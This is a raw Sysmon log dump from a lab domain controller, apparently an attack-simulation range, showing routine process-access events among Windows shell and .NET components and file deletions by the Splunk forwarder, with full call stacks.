14:44:16.508{7BD73061-6D0E-613B-8A06-00000000F001}32686208C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\Windows.Storage.dll+e570d|C:\Windows\System32\Windows.Storage.dll+131ba3|C:\Windows\System32\Windows.Storage.dll+130e1d|C:\Windows\System32\Windows.Storage.dll+130d31|C:\Windows\System32\Windows.Storage.dll+130cca|C:\Windows\System32\Windows.Storage.dll+9ba99|C:\Windows\System32\Windows.Storage.dll+61d16|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+618c3|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466 10341000x800000000000000042648Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.508{7BD73061-6D0E-613B-8A06-00000000F001}32686208C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\Windows.Storage.dll+e570d|C:\Windows\System32\Windows.Storage.dll+139883|C:\Windows\System32\Windows.Storage.dll+9b910|C:\Windows\System32\Windows.Storage.dll+9b867|C:\Windows\System32\Windows.Storage.dll+9ba37|C:\Windows\System32\Windows.Storage.dll+61d16|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+618c3|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a 10341000x800000000000000042647Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.508{7BD73061-6D0E-613B-8A06-00000000F001}32686208C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\Windows.Storage.dll+e570d|C:\Windows\System32\Windows.Storage.dll+137543|C:\Windows\System32\Windows.Storage.dll+61dd5|C:\Windows\System32\Windows.Storage.dll+61cf8|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+618c3|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c 10341000x800000000000000042646Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.508{7BD73061-6D0E-613B-8A06-00000000F001}32686208C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\Windows.Storage.dll+e570d|C:\Windows\System32\Windows.Storage.dll+61da9|C:\Windows\System32\Windows.Storage.dll+61cf8|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+618c3|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\System32\Windows.Storage.dll+13225c 10341000x800000000000000042645Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.508{7BD73061-6D0F-613B-9406-00000000F001}44807004C:\Windows\Explorer.EXE{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\twinapi.appcore.dll+1ea06|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e3d1|C:\Windows\SYSTEM32\twinapi.appcore.dll+1dbcc|C:\Windows\SYSTEM32\twinapi.appcore.dll+1d777|C:\Windows\system32\twinui.pcshell.dll+27c24|C:\Windows\system32\twinui.pcshell.dll+17316|C:\Windows\system32\twinui.pcshell.dll+17671|C:\Windows\system32\twinui.pcshell.dll+176a9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042644Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.508{7BD73061-6D0E-613B-8A06-00000000F001}32686208C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\Windows.Storage.dll+e570d|C:\Windows\System32\Windows.Storage.dll+131ba3|C:\Windows\System32\Windows.Storage.dll+130e1d|C:\Windows\System32\Windows.Storage.dll+130d31|C:\Windows\System32\Windows.Storage.dll+130cca|C:\Windows\System32\Windows.Storage.dll+9ba99|C:\Windows\System32\Windows.Storage.dll+61d16|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+618c3|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466 10341000x800000000000000042643Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.508{7BD73061-6D0F-613B-9406-00000000F001}44807004C:\Windows\Explorer.EXE{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e95e|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e3d1|C:\Windows\SYSTEM32\twinapi.appcore.dll+1dbcc|C:\Windows\SYSTEM32\twinapi.appcore.dll+1d777|C:\Windows\system32\twinui.pcshell.dll+27c24|C:\Windows\system32\twinui.pcshell.dll+17316|C:\Windows\system32\twinui.pcshell.dll+17671|C:\Windows\system32\twinui.pcshell.dll+176a9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042642Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.508{7BD73061-6D0E-613B-8A06-00000000F001}32686208C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\Windows.Storage.dll+e570d|C:\Windows\System32\Windows.Storage.dll+139883|C:\Windows\System32\Windows.Storage.dll+9b910|C:\Windows\System32\Windows.Storage.dll+9b867|C:\Windows\System32\Windows.Storage.dll+9ba37|C:\Windows\System32\Windows.Storage.dll+61d16|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+618c3|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a 10341000x800000000000000042641Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.508{7BD73061-6D0E-613B-8A06-00000000F001}32686208C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\Windows.Storage.dll+e570d|C:\Windows\System32\Windows.Storage.dll+137543|C:\Windows\System32\Windows.Storage.dll+61dd5|C:\Windows\System32\Windows.Storage.dll+61cf8|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+618c3|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c 10341000x800000000000000042640Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.508{7BD73061-6D0E-613B-8A06-00000000F001}32686208C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\Windows.Storage.dll+e570d|C:\Windows\System32\Windows.Storage.dll+61da9|C:\Windows\System32\Windows.Storage.dll+61cf8|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+618c3|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\System32\Windows.Storage.dll+13225c 10341000x800000000000000042639Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.508{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F40-613B-F208-00000000F001}5860C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042638Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.508{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F40-613B-F208-00000000F001}5860C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000042637Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.492{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6EA08AF98C97C63409B5F40EE16F1BD5,SHA256=F10164E74646849F2BD5993FA7F19F3D12934C1892C6E52B5E0B2E762DBE4236,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000042636Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.492{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=BC4CF595CF50A9BB8D441700A9C22D4F,SHA256=1B6C86FAC461AB3A5A2A81C6F78F039836B094130F9E30B85BC14715EE3A552D,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000042635Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.477{7BD73061-6D0E-613B-8A06-00000000F001}32686044C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\Windows.Storage.dll+e570d|C:\Windows\System32\Windows.Storage.dll+e5888|C:\Windows\System32\Windows.Storage.dll+1a3c19|C:\Windows\System32\Windows.Storage.dll+1a3a75|C:\Windows\System32\Windows.Storage.dll+e65e6|C:\Windows\System32\combase.dll+aecda|C:\Windows\System32\combase.dll+a5aad|C:\Windows\System32\RuntimeBroker.exe+12d1|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\combase.dll+65373|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde 10341000x800000000000000042634Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.477{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x3200C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+78b1|C:\Windows\SYSTEM32\psmserviceexthost.dll+739b|C:\Windows\SYSTEM32\psmserviceexthost.dll+ae34|C:\Windows\SYSTEM32\psmserviceexthost.dll+7bae|C:\Windows\SYSTEM32\psmserviceexthost.dll+12141|C:\Windows\SYSTEM32\psmserviceexthost.dll+170e8|C:\Windows\SYSTEM32\resourcepolicyserver.dll+12326|C:\Windows\SYSTEM32\resourcepolicyserver.dll+bac5|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042633Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.461{7BD73061-6D0E-613B-8A06-00000000F001}32686044C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\Windows.Storage.dll+e570d|C:\Windows\System32\Windows.Storage.dll+e5888|C:\Windows\System32\Windows.Storage.dll+1a3c19|C:\Windows\System32\Windows.Storage.dll+1a3a75|C:\Windows\System32\Windows.Storage.dll+e65e6|C:\Windows\System32\combase.dll+aecda|C:\Windows\System32\combase.dll+a5aad|C:\Windows\System32\RuntimeBroker.exe+12d1|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\combase.dll+65373|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde 10341000x800000000000000042632Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.461{7BD73061-6D0E-613B-8A06-00000000F001}32685404C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\Windows.Storage.dll+e570d|C:\Windows\System32\Windows.Storage.dll+e5888|C:\Windows\System32\Windows.Storage.dll+1a3c19|C:\Windows\System32\Windows.Storage.dll+1a3a75|C:\Windows\System32\Windows.Storage.dll+e65e6|C:\Windows\System32\combase.dll+aecda|C:\Windows\System32\combase.dll+a5aad|C:\Windows\System32\RuntimeBroker.exe+12d1|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\combase.dll+65373|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde 10341000x800000000000000042631Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.461{7BD73061-6D0F-613B-9406-00000000F001}44803416C:\Windows\Explorer.EXE{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\twinapi.appcore.dll+1ea06|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e3d1|C:\Windows\SYSTEM32\twinapi.appcore.dll+1dbcc|C:\Windows\SYSTEM32\twinapi.appcore.dll+1d777|C:\Windows\System32\TwinUI.dll+b6c18|C:\Windows\System32\TwinUI.dll+b7777|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+61d7f|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+5be0|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+635e 10341000x800000000000000042630Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.461{7BD73061-6D0F-613B-9406-00000000F001}44803416C:\Windows\Explorer.EXE{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e95e|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e3d1|C:\Windows\SYSTEM32\twinapi.appcore.dll+1dbcc|C:\Windows\SYSTEM32\twinapi.appcore.dll+1d777|C:\Windows\System32\TwinUI.dll+b6c18|C:\Windows\System32\TwinUI.dll+b7777|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+61d7f|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+5be0|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+635e 10341000x800000000000000042629Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.461{7BD73061-6D0F-613B-9406-00000000F001}44803416C:\Windows\Explorer.EXE{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\twinapi.appcore.dll+1ea06|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e3d1|C:\Windows\SYSTEM32\twinapi.appcore.dll+1b24a|C:\Windows\System32\TwinUI.dll+a9af6|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+5be0|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+635e|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+c6ae|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042628Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.461{7BD73061-6D0F-613B-9406-00000000F001}44803416C:\Windows\Explorer.EXE{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e95e|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e3d1|C:\Windows\SYSTEM32\twinapi.appcore.dll+1b24a|C:\Windows\System32\TwinUI.dll+a9af6|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+5be0|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+635e|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+c6ae|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042627Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 